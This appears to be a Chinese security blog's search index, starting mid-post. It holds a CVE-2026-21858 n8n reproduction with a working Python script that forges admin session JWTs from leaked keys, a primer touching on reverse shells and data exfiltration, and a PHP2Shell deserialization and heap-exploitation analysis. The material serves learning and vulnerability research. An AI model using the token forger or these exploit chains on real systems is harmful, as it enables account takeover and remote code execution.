req.body.files[id].filepath）复制到持久存储——根据配置，可以存储在磁盘或 S3 对象存储中。\n问题在于：由于调用该函数时未验证内容类型是multipart/form-data，我们控制的是整个req.body.files对象。\n这意味着我们控制的是文件路径参数——所以我们不是复制已上传的文件，而是可以从系统中复制任何本地文件。\n结果呢？Form节点之后的任何节点都会接收本地文件的内容，而不是用户上传的内容。\n三、漏洞复现 # 作者设置的未授权api是/form/vulnerable-form\n这里说一下我遇到的小问题，右下角有个LF，如果你是Windows的话他是CRLF，这个时候要打开vscode把右下角点一下然后更换成LF就可以了。\n然后访问作者给的未授权api。\n和我们之前说的一样，抓包改包content type改为json串格式然后成功读取到etc/passwd。当然这是任意文件读取，那么接下来把他上升到rce。\nRCE # N8N将认证会话存储在一个名为“N8N-Auth”的Cookie中。\n登录成功后，n8n会通过特定流程生成该Cookie值。\n首先，它创建一个包含关键用户信息的词典——用户ID和SHA256哈希的前10个字符。\n这个哈希值是通过连接用户邮箱和密码的字符串计算出来的。\n首先，所有用户记录都存储在 n8n 的数据库中，该数据库在本地部署中存储在磁盘上（如 Docker 或源码安装）。\n例如，在 Docker 部署中，数据库位于 /home/node/.n8n/database.sqlite。\n其次，加密密钥存储在配置文件中，配置文件也存储在本地部署中。配置位置是 /home/node/.n8n/config。\n读取config在root下面。\n读取environ。\n如果是docker搭建这里环境中database.sqlite是在/root/.n8n/下面的。\nimport hashlib import jwt from base64 import b64encode def generate_n8n_admin_token(uid, email, pw_hash, encryption_key): # 1. 派生签名密钥 (Secret Derivation) # 逻辑：取 encryptionKey 的每隔一个字符，然后进行 SHA256 并转为十六进制 sliced_key = encryption_key[::2] secret = hashlib.sha256(sliced_key.encode()).hexdigest() # 2. 计算 Payload 中的 hash 字段 # 逻辑：将 email 和 password_hash 拼接，进行 SHA256，Base64 编码后取前 10 位 hash_input = f\u0026#34;{email}:{pw_hash}\u0026#34;.encode() hash_digest = hashlib.sha256(hash_input).digest() h_claim = b64encode(hash_digest).decode()[:10] # 3. 构造 Payload payload = { \u0026#34;id\u0026#34;: uid, \u0026#34;hash\u0026#34;: h_claim } # 4. 使用 HS256 算法和派生的 secret 进行签名 token = jwt.encode(payload, secret, algorithm=\u0026#34;HS256\u0026#34;) return token, secret, h_claim # 输入参数 target_id = \u0026#34;6dfdc046-c3b2-4a24-895a-aa8861f42fe1\u0026#34; target_email = \u0026#34;admin@exploit.local\u0026#34; target_pw_hash = \u0026#34;$2a$10$thRakOhxmhH6bmEI1z9BpOmdfQcIy21gspPPtplBE0.8EqwteET2e\u0026#34; target_enc_key = \u0026#34;oG5MjnMemT3nZQzpkMjWdilbM++7Xgvl\u0026#34; # 执行生成 token, derived_secret, derived_hash = generate_n8n_admin_token( target_id, target_email, target_pw_hash, target_enc_key ) print(\u0026#34;-\u0026#34; * 30) print(f\u0026#34;[*] 派生密钥 (Secret): {derived_secret}\u0026#34;) print(f\u0026#34;[*] 载荷哈希 (Hash Claim): {derived_hash}\u0026#34;) print(f\u0026#34;[*] 生成的 JWT Token:\\n{token}\u0026#34;) print(\u0026#34;-\u0026#34; * 30) print(f\u0026#34;使用方法: \\n在请求头中添加: Cookie: n8n-auth={token}\u0026#34;) 这里借鉴一下大佬的脚本，记得把参数替换成自己读取到的，然后去登陆页面改n8n-auth的值就可以进了。这里就不过多展示了。\n然后点击\u0026quot;Add workflow\u0026quot;\n搜索manual trigger\n点击右边那个加号(你刚刚创建的东西的右边那个)然后找到edit fields\nadd然后选expression。\n四、参考文章 # wioui/n8n-CVE-2025-68613-exploit: CVE-2025-68613: n8n RCE vulnerability exploit and documentation\nNi8mare - n8n 中的未认证远程代码执行（CVE-2026-21858） |赛耶拉研究\n","date":"2026-10-27","externalUrl":null,"permalink":"/posts/cve-2026-21858/","section":"Posts","summary":"一、环境搭建 # cmd 执行 git clone https://github.com/Chocapikk/CVE-2026-21858.git。\n","title":"CVE-2026-21858 复现（含环境搭建）","type":"posts"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/n8n/","section":"标签","summary":"","title":"N8n","type":"tags"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/","section":"标签","summary":"","title":"漏洞复现","type":"tags"},{"content":" 前言 # 一个 Web 狗的自我修养。\n学了这么久了，也有一年了，浑浑噩噩的，抽课余时间学，还是很菜。又到了找班上的年纪。在此发现对于 Web 的学习或者说对于整个安全方向的学习，我着相了，为什么这么说呢？我总是想着从基础一步一步堆上去，但殊不知基础这个东西太广泛，我觉得应该是遇到一个去学一个，在学某个点的途中一定有你还不知道的其他点，就 tm 跟 goto 一样再点进去看接着学。看多了就记住了。 和我已有的一些基础串一下，本期是基础篇。\n一些基础 # 我只能说会太基础，都是应该知道的常识。具体很多细节后面会在别的文章中提到。\n子域名 # 以某高校为例。\nhttps://www.cq*e.edu.cn/ 是吧，一个 URL 主域名是 cq*e，前面是 www 嘛，不管。他还有其他站点比如 https://oa.cq*e.edu.cn:8090/ 这个前面就不是 www 了，他就是 oa。那么这种情况就叫做子域名。很好理解吧，当然比如什么 library.cq*e.edu.cn 是吧，可能是这个站点的图书管理系统是吧，有迹可循。\n端口 # https://oa.cq*e.edu.cn:8090/ 这个是不是有个 8090。这个就是端口，我们无论是平时自己的电脑，还是服务器，我们称为计算机，都有 65535 个端口，每个端口可以有不同的程序在上面运行，不一定是 web 服务，也可能跑的二进制程序是吧。这里就要问我们高贵的 pwn✌ 了。web 一般是 http/https 协议，pwn✌ 面对的是 tcp 呢。\n目录 # 这个不说了，就是 /info/aslkjjkd.html 这些路径。这个最常见的是分配站吧，就例如某度贴吧或者博客网站这种，你注册了过后通常会有一个分配站是你的子站，属于用户。比如 www.blognet.com/\u0026lt;your_user_name\u0026gt; 这种进入你自己的个人主页，这种可以去换用户名猜用户名找未授权。但是现在可是 2026 年 AI 元年，哪儿轮得到你挖这种 low 洞，给你猜出来就真是大运了。大多数还是要鉴权的，放心孩子们。而且现在更多感觉是云服务平台那种哈，就是拿给你用自建站，详细可以看看类似博客园这种、CSDN 这种网站还有某易得。你的个人博客的数据安全不算它平台本身的数据。\n数据库 # 存储网站数据的东西，常见的一些字眼比如 data、database、db、mdb、config，要敏感。常见的是站库分离的情况，就是网站源码和数据库并不放在一起，就是说数据库可能在别的服务器上而不是和源码放在一个服务器上。一些免费的那种模板、CMS 那种、可以自选安装那种，大多数部署时不会站库分离，比如老的 zblog，搭建的时候就会默认安装数据库，比如 MSSQL、ACCESS、Mysql 等。这玩意儿其实还分 SQL 和 Nosql，后面再说。而且现在更是大多数是云上数据库了。\nOSS # 对象存储，现在大多数就是网站的图片都会存 OSS，这时候考虑 bucket 接管吧，而且还得赌一手权限。这玩意儿只做存储不做解析，传 shell 没用。常规思路是找 AK 和 SK 打接管。阿里云叫 OSS，aws 叫 S3。\n加密 # 源码加密 # 混淆嘛，我用最简单最通俗易懂最直白但不唯一的一个例子告诉你：改变量名。比如原本这个变量叫 password，我改个名字叫什么 _0x2d5326 之类的，这个就不太容易读。比如说 js 混淆、php 加密，总之就是不影响你正常的程序运行。可能还有语言特性来搞的，说白了就是防止你打白盒。还有 js 里面的 eval 加密之类的，可以直接搜索一下就能理解是啥了。\n这种样子的，很 ex。那种老站点很喜欢搞这些，特别是 jsp 的站点。有些你看到那个 js 文件名字叫 xhwqeiu_12893.js 啥啥啥的，点开就是一大坨这种。\n数据传输格式 # 一般常见的数据包里面的数据格式 json {\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;} 这种样式的、XML 格式就那种标签包裹的这样子 \u0026lt;password\u0026gt;123456\u0026lt;/password\u0026gt; 这种样子，还有 Protocol Buffer，还有就是自定义格式比如 name:admin。还有正常 GET 请求传参数 id=MO== 啥的，这就是 base64 了一道嘛，当然我觉得常见的还是 MD5 哈希之类的。前端 js 加密在 js 文件中有 encrypt 加密一些输入的表单数据，比如 AES、RSA、自定义加密算法，然后这个时候就要去逆向算法然后拿到加密逻辑，才知道应该怎么改包。\n前后端分离 # 一种流行的设计理念吧，前端就是我们肉眼看到的用户交互的，后端就是我们看不到的、网站实际组成的逻辑。一般前端是用 JS 框架去勾连后端，也就是说前端和后端只做数据交互，各自处理各自的业务。就比如我要算一个 1+1 的结果，前端负责传入 1 和 1 给后端，而后端完成的计算是 1+1，再把结果交给前端。两者之间通过 API 进行交互。这种情况前端和后端经常不在一个域名，前端仿佛一个提线傀儡。\n站点搭建 # 宝塔面板、小皮面板，这些软件搭建环境站点。宝塔比较常用也是用的很多的一个搭建方式。常规的原生搭建走人工运维非常牢；宝塔、docker 这些搭建呢会有一定的安全性，它不仅更方便而且还更安全，说白了就是默认策略不一样。然后就是使用 docker 搭建的站点，docker 是一种容器化技术，还有个叫 podman，目前没遇到 podman。docker 是虚拟化技术，它是独立磁盘空间，类似于虚拟机不是真实的物理环境，也是和真机有隔离的，但是不一定数据安全，有可能数据别人也放 docker 里面是吧，卷持久化。这个后续还能搞 docker 容器逃逸。总之就是 docker 给你的权限不是你的真机权限，遇到这种更多考虑敏感信息泄露吧。\nWAF # Web 应用防火墙，有硬件型 WAF（天清 WAG）、软件型 WAF（D 盾）、云 WAF（阿里云云盾），还有网站内置的 WAF（写在源码中的一些黑名单白名单之类的）。可以针对访问权限，在原生部署站点的时候我们能够自己控制某些文件的权限，比如本来有个 php 的后门但是装了 waf 后那就是连不上。\nCDN # 我看来就是能缓存的择优代理转发，源站提供源码，多个边缘节点去 copy 保存它的副本，然后根据用户的地理 ip 原则距离他最近的节点并访问它，可以减少源站点的访问压力。一般思路就是一直 ping CDN 节点耗光额度然后拿到真实的源站点。\n抓包 # 配证书那些就不说了，浏览器模拟器大家自己看就行。推荐工具：proxifier、burpsuite/yakit、wireshark，当然可以都下。有的时候 burp 就是死活发不了。抓包当然是为了改包然后去测试，有些时候你的比如说登录页面，输入用户名和密码，他经过了前端加密也有可能是后端加密，可以看抓包看出来。\n比如说这样的请求包和响应包，这样的请求包就是像是一些键值对，然后这个密码肯定不是我输入的那样，这个他就是经过了一段前端的 md5 加密过后的，实际最后校验的是 md5 值。这种情况我们用字典去爆破就需要把密码进行 md5 加密再拿去爆破。还有联动抓包，这样有啥好处呢，比如我 yakit 抓了过后再发给 burp，这样的话 yakit 那边过了一道流量就可以用 yakit 的分析插件，然后再到 burp 那边发就可以了。还有 websocket 的包，这个主要看身份验证信息。\n科学上网抓包 # 可能有的目标本身需要你扶墙才能访问，其实思路是一样的，就是先过 W/2PN 的流量再用抓包工具去抓，抓包工具设置下游代理即可。\n堡垒机 # 我们常说的堡垒机就是运维堡垒机，比如 JumpServer。把你管理的站点交到堡垒机上就实现对站点的管理。就一般来说运维不会直接连接服务器，需要通过堡垒机去访问资产。堡垒机就是运维的操作监控跳板，管住谁能登录服务器、能做什么，并且所有操作留录像日志。\nAPI # 应用程序接口，允许不同软件应用程序之间进行通信和数据交换的接口。我们最常见的未授权，比如这种你的路径 /v1/api 这类的就是站点的 api 接口。站点的 api 一般要么是对自己的站点本身进行数据传输管理等，要么就是调用外部的 api，比如调用微信的 api 接口实现 oauth。一般是做查询用的测试 api，再比如一个网站有一个文件上传功能，但是其实它的实现呢是使用 api 风格然后一个 POST 请求包嘛，一般来说是会返回一串 json 串或者是键值对。比如这种：\nPOST http://www.xxx.com/taxi { \u0026#34;from\u0026#34;: \u0026#34;北京市云南大厦\u0026#34;, \u0026#34;to\u0026#34;: \u0026#34;天安门\u0026#34; } APP # app 开发架构分三种：原生开发，一般用 java 或者是 kotlin，大多数还是 java；还有就是使用 H5 开发，用网站源码去封装成小程序或者 apk，这种这种情况就和正常的 Web 站点没区别，直接抓包打就行；还有混合式的，原生的壳子但后端就是 web 的后端，前端是 H5。小程序也差不多，就是原生还有封装。我们知道了这两种情况就可以把它转化为熟悉的 web 区了。当然最重要的还是要抓得到包。\n出入站 # 说出入站之前先说一下数据回显（bind），顾名思义就是我们大多数情况是 RCE 命令执行的时候没有回显数据，这样的情况常常通过延迟、sleep 来判断有没有成功执行。看网站延迟或者看有没有写权限，如果这个 RCE 的目标账号是有写权限的话，我们可以创建一个文件去写文件看看执行没有，直接 echo xxx \u0026gt;\u0026gt; 111.txt（追加）就行。判断成功后的常规思路都是反弹 shell 连接本机，一般目标机器是有出网权限而给了入站策略的，所以常规思路就是反弹 shell 或者外带数据。正向连接的案例很少，因为一般都有入站策略，或者是项目中你拿到了 ssh 账密，那就不说了。\n反弹 Shell # 分 Win 和 Linux。Win 的话基本就 Powershell 命令可以反弹，再就是环境变量的开发语言。Linux 上默认自带的 nc（ncat），还有就是开发语言。\nhttps://www.revshells.com/ 这个网站比较好用，常用的是 nc、ncat、busybox nc、zsh、bash、curl，写 c 和 python。正反向连接根据目标的出入站策略来决定，并不是一定要反弹 shell。\n小程序 # 使用 burp 配合 proxifier 进行抓包。https://get-shell.com/ 可以去这个上面找文章看。我们要先搞懂小程序会有哪些文件：\napp.js 这个是必须的，它主要写小程序的逻辑。 app.json 这种 json 文件一般是用来管理配置信息的。 app.wxss 则是公共样式表。 XXX.wxml 这种是页面结构。 剩下的就是反编译出来后正常的一个 web 的代码审计思路。主要注意的是 js 文件和 json 文件很重要。https://github.com/wux1an/wxapkg 工具的话我使用的这一款，GUI 界面友好，我这种新手直接拖入，那种 GO 开发的。然后得到的源码我们可以用微信开发者工具打开来调试。https://github.com/eeeeeeeeee-code/e0e1-wx.git 还有这个也可以看看，有些工具只要他还在更新我们就大胆用呗。至于 unverli，算了吧，收费了。\n这种我认为是比较 ex 的了，全是 chunk。\n公众号 # 公众号分第三方服务和官方给的服务，而三方服务呢一般就是别人自己的服务厂商，这种对于信息搜集才是有效的。可以发掘一些其他的信息。\n总结 # 这篇写得很基础，旨在扫盲，当然很多地方也没有提到，后面会慢慢提到。总的来说找入口的思路很多，从 web 面还有 app 面、小程序面都是可以有联动的。还有就是三个面之间的转换，把不熟悉的转换为自己熟悉的。\n","date":"2026-10-27","externalUrl":null,"permalink":"/posts/weber-self-cultivation-1/","section":"Posts","summary":"前言 # 一个 Web 狗的自我修养。\n","title":"Weber 的自我修养 Ⅰ：基础篇","type":"posts"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/%E5%9F%BA%E7%A1%80/","section":"标签","summary":"","title":"基础","type":"tags"},{"content":" 前言 # 2026‑10‑20，PHP 官方发了个预告，说第二天要出紧急安全补丁，修两个代号 PHP2Shell 的高危漏洞，CVE‑2026‑109618、CVE‑2026‑109619，CVSSv4 都是 9.2，无需认证的远程代码执行。10‑21 补丁如期放出。网传这次是因为细节提前泄露才提前准备的，官方原文倒没坐实，只留了句\u0026quot;细节公开或出现在野利用就提前发\u0026quot;。在此之前网上的信息很杂，吹得沸沸扬扬，说什么运行时与框架无关、无条件 RCE。但 PoC 后来公开出来我一看，好像不是这个样子，就来简单浅析一下这玩意吧。\n原理 # 先说结论，不是什么无条件 RCE，也不是从 php5.x 一直爆到 php8.x。在 main/main.c 中的 php_request_startup() 函数其流程图大致如下:\n一个 HTTP 请求在 PHP 内部经历解析，初始化，执行，清理等阶段。不同 SAPI 的细节和失败后的处理方式也不一样。这篇 GHSA-w8hw-w9fx-j79w 中指出某些情况下，自动请求体解析会在应用代码执行之前触发内存耗尽；而在特定 SAPI 中，即使请求启动失败，也仍可能执行请求清理。原话这样说的\nPHP 使用 longjmp() 处理内存溢出 (OOM) 错误来退出当前上下文并中止请求处理。在某些情况下，请求内存可能在完全初始化之前暂时可用。如果此时任何内存分配失败，PHP 无法正确处理提前退出，导致请求内存处于无效状态。失败的内存分配不一定与无效内存相关。请求关闭过程可能会读取或跳转到该无效内存。\n因此，如果一个请求在中途失败，PHP 不能保证所有已经被创建的请求被正确撤销。所以就会导致这次两种漏洞情况的发生。根据上面的流程图我们可以知道：上传进度功能为了记进度必须读写 session 文件，于是 unserialize 会在编译之前。而清理阶段又是另外的空间，如果一个请求在中途被打断就会留下一堆\u0026quot;半成品\u0026quot;没有被正确的清理。这个\u0026quot;半成品\u0026quot;会被当作正常的请求去接着执行就导致了漏洞的利用。\n逻辑链 # PHP 用 setjmp/longjmp 模拟中断，Zend/zend.h：\n#define zend_try \\ { \\ JMP_BUF *__orig_bailout = EG(bailout); \\ JMP_BUF __bailout; \\ EG(bailout) = \u0026amp;__bailout; \\ if (SETJMP(__bailout) == 0) { #define zend_catch \\ } else { /* longjmp 回到这里 */ \\ EG(bailout) = __orig_bailout; #define zend_end_try() ... } #define zend_bailout() longjmp(*EG(bailout), FAILURE) memory_limit 耗尽时，Zend MM 里 zend_bailout() 又会瞬间跳回到 if(SETJMP(__bailout) == 0)，函数栈上所有局部变量直接蒸发。for 循环、if 分支里的清理代码都不会执行。堆上已经分配的内存也照样留在那儿，这导致了我们之前提到的请求清理会把他们当成品用。\n逻辑链\n再来看这个 unserialize() 的部分。upload-progress 收到带进度字段的 multipart 时，每个进度事件都要读-改-写 session 文件。读 = 解码 = unserialize()。官方补丁里面的 bug 说明:\n/* The upload progress handler (php_session_rfc1867_update()) decodes and * re-encodes the session during request startup, before RINIT, when no user * code may run. \u0026#34;禁止用户代码\u0026#34; * Objects are then kept as __PHP_Incomplete_Class: 补丁后的做法 * no autoloading, no unserialize_callback_func, * no __wakeup() or __unserialize(), and they are written back unchanged. */ 打补丁之前，unserialize 碰到对象记录就会去查类存在，就会 object_init_ex() 实例化成真对象；对象引用的计数归零时，查一下 zend_object_handlers.dtor_obj，写 destruct() 方法就会被 C 层调用，在编译之前就会触发。所以整个过程就是 upload-progress 把 filename 原封不动写进进度树 -\u0026gt; 进度树序列化，如果 .user.ini 设置了 session.serialize_handler=php_serialize，就会构造出恶意的序列化对象。然后另一边 PHP handler 就会开始解码，php 格式解码器会遇到第一个 \u0026ldquo;|\u0026rdquo; 就会把内容分开，右边的内容就交给了 unserialize() 然后实例化对象，然后触发 destruct() 执行 shell_exec。\n另一条路——内存链 # *value = \u0026#39;\\0\u0026#39;; do { value++; } while (isspace((unsigned char)*value)); key = estrdup(line); smart_string_appends(\u0026amp;buf_value, value); //smart_string 最小就是 256B 打补丁前的代码是这样的，任何一次分配 OOM 给到 zend_bailout()。key 又泄露在堆上，buf_value 截断，#header 链表里可能已经有东西了。multipart 解析器每读一个头就做 estrdup + smart_string_appends（起步就是 256B），默认 post_max_size = 8M 而 6 字节的头就会放大到 314B，128M 的 memory_limit 用 2.57MB 请求体就能爆。而之前提到 zend_bailout() = longjmp，清理代码不会处理半成品请求，而是把它仍然当作成品在执行，逐个遍历这些结构，读的类型字段、长度字段正是能够受影响的 payload。PHP 把这些 payload 当 zend_string 读，实际内存是 zend_array。\n剩下的就涉及 pwn 的知识了，我一个 web 狗看这些也很牢，但骨架其实就一句话：zend_string 和 zend_array 的内存布局天然重叠——h 正好压着 pDestructor，len 压着 nTableSize，val 压着 arData。所以同一个半成品内存，当 string 读就是截图里 84GiB 的数字分配，当 array 析构就是把 pDestructor 改写成 zif_system，zend_hash_destroy 一层层往下调，最后变成 system(cmd)。至于 zif_system 的地址从哪来——第一轮泄漏走 Set-Cookie 把 512B 堆内容带出来，反推 libphp 基址，ASLR 就这么绕掉的。根据本地的复现截图可以看看\n解析期间就死了还没进 php 文件\n悬空 PS(id) 被读成了 zend_string，放大到了约 84GiB\n总结 # 所以最后总结一下利用条件（我一个 web 看这些 pwn 的也很牢）：\nOOM 链（109618）：display_errors=On（生产版 php.ini 默认 Off）、memory_limit 能被打（设成 -1 直接免疫）、单 worker 或同 worker 连续命中、SAPI 无条件跑请求清理——这条最关键，官方点名 mod_php 风险最高，FrankenPHP 疑似，FPM 启动失败会直接杀 child 收窄。触发本身是真不难（2.57MB 在默认 post_max_size=8M 之内就能打到 OOM，WAF 也看不出异常），所以前面就是正常 DoS。真正难的是堆对齐：exp 里那些堆参数基本都是作者在自己 Linux 堆上校准的写死值，跨环境迁移很难命中——我本地复现 8.5.11 就是这样，三种结局：SIGSEGV、84GiB 天文数字分配、正常 cookie，就是打不中 512B 泄漏。而且泄漏步还得靠 display_errors 漏出来，生产环境这开关多半是关的。\n逻辑链（109619）：条件是 session 端 serialize_handler 配错（两个目录 handler 不一致 + 共享 save_path）、目标环境预加载了带危险魔术方法的类（autoload 那个窗口被禁，没类就空转）、session.upload_progress.enabled 默认开、cleanup=Off 卡窗口，外加同一个 worker。8.5 还有条更屌的：fatal_error_backtraces 默认就是开的。都是配置错误或者环境自带 gadget 的前提，生产环境不好拿。\n三个版本叙事都不对：不是无条件 RCE（每一层条件都能砍掉一大截）；不是 5.x 爆到 8.4（官方修的是 8.2.35/8.3.36/8.4.27/8.5.12，吹的范围反而漏了主战场 8.5，5.x 从来没官方处理过）；运行时无视框架倒是基本没错，对 mod_php 这类应用无关的攻击面成立，但换个 SAPI 就要重新打条件。补丁只堵了 RINIT 那扇门，普通 session_start() 路径没封，handler 配错 + 会话可写的话，打完补丁照样能打——官方也承认\u0026quot;升级是唯一可靠缓解\u0026quot;。\n","date":"2026-10-22","externalUrl":null,"permalink":"/posts/php2shell/","section":"Posts","summary":"前言 # 2026‑10‑20，PHP 官方发了个预告，说第二天要出紧急安全补丁，修两个代号 PHP2Shell 的高危漏洞，CVE‑2026‑109618、CVE‑2026‑109619，CVSSv4 都是 9.2，无需认证的远程代码执行。10‑21 补丁如期放出。网传这次是因为细节提前泄露才提前准备的，官方原文倒没坐实，只留了句\"细节公开或出现在野利用就提前发\"。在此之前网上的信息很杂，吹得沸沸扬扬，说什么运行时与框架无关、无条件 RCE。但 PoC 后来公开出来我一看，好像不是这个样子，就来简单浅析一下这玩意吧。\n","title":"PHP2Shell 漏洞复现与浅析","type":"posts"},{"content":"","date":"2026-10-22","externalUrl":null,"permalink":"/tags/rce/","section":"标签","summary":"","title":"RCE","type":"tags"},{"content":"","date":"2026-10-22","externalUrl":null,"permalink":"/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/","section":"标签","summary":"","title":"漏洞分析","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/dnjs15/","section":"作者","summary":"","title":"Coinsheep","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":" Bin9chn\u0026#8599; 网络安全方向的学习与工程笔记，关注协议安全、离线数据处理和密码学工具 Jay\u0026#8599; CTF 玩家 / Web 安全学习者，记录每一道题的思路与复现过程 VMV\u0026#8599; 大佬 DDW ","externalUrl":null,"permalink":"/links/","section":"Coinsheep","summary":" Bin9chn↗ 网络安全方向的学习与工程笔记，关注协议安全、离线数据处理和密码学工具 Jay↗ CTF 玩家 / Web 安全学习者，记录每一道题的思路与复现过程 VMV↗ 大佬 DDW ","title":"友链","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"作者","summary":"","title":"作者","type":"authors"}]